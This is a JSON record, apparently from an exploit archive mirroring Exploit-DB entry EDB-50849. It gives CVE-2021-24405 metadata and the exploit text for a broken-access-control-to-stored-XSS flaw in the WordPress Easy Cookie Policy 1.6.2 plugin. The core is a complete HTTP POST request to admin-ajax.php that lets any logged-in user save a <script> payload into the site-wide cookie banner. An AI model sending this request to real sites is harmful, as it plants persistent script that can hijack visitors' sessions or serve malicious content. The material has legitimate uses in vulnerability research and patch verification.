{"exploit":{"id":"EDB-50849","name":"WordPress Plugin Easy Cookie Policy 1.6.2 - Broken Access Control to Stored Cross-Site Scripting (XSS)","description":"WordPress Plugin Easy Cookie Policy 1.6.2 - Broken Access Control to Stored Cross-Site Scripting (XSS)","cves":["CVE-2021-24405"],"author":"0xB9","published":"2022-03-30","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/50849","path":"exploits/php/webapps/50849.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-50849.txt","vulnerabilities":[{"id":"CVE-2021-24405","state":"PUBLISHED","title":"Easy Cookie Policy <= 1.6.2 - Broken Access Control to Stored Cross-Site Scripting","titleSource":"CVE Program","description":"The Easy Cookies Policy WordPress plugin through 1.6.2 is lacking any capability and CSRF check when saving its settings, allowing any authenticated users (such as subscriber) to change them. If users can't register, this can be done through CSRF. Furthermore, the cookie banner setting is not sanitised or validated before being output in all pages of the frontend and the backend settings one, leading to a Stored Cross-Site Scripting issue.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2021-24405","cvss":{"version":"3.1","baseScore":6.5,"severity":"medium","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2021-24405"},"updatedAt":"2024-08-03T19:28:23.840Z","retrievedAt":"2026-11-26T19:08:36.916Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-50849.png?v=2","url":"https://exploitbin.com/exploits/EDB-50849","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-50849/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-50849/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: WordPress Plugin Easy Cookie Policy 1.6.2 - Broken Access Control to Stored XSS\n# Date: 2/27/2021\n# Author: 0xB9\n# Software Link: https://wordpress.org/plugins/easy-cookies-policy/\n# Version: 1.6.2\n# Tested on: Windows 10\n# CVE: CVE-2021-24405\n\n1. Description:\nBroken access control allows any authenticated user to change the cookie banner through a POST request to admin-ajax.php.\nIf users can't register, this can be done through CSRF.\n\n2. Proof of Concept:\nPOST http://localhost/wp-admin/admin-ajax.php HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0\nAccept: application/json, text/javascript, /; q=0.01\nAccept-Language: en-US,en;q=0.5\nReferer: http://localhost/wp-admin/options-general.php?page=easy-cookies-policy\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nContent-Length: 226\nOrigin: http://localhost\nConnection: keep-alive\nHost: localhost\nCookie: [Any authenticated user]\n\naction=easy_cookies_policy_save_settings&maintext=<script>alert(1)</script>&background=black&transparency=90&close=accept&expires=365&enabled=true&display=fixed&position=top&button_text=Accept&text_color=#dddddd","sha256":"b5698a7a2d0fdac84b736f472064e9448175fade65f0ae50cf2869184c4e16dc","bytes":1214,"fetchedAt":"2026-11-26T19:08:31.107Z","encoding":"utf-8 (display only; download retains original bytes)"}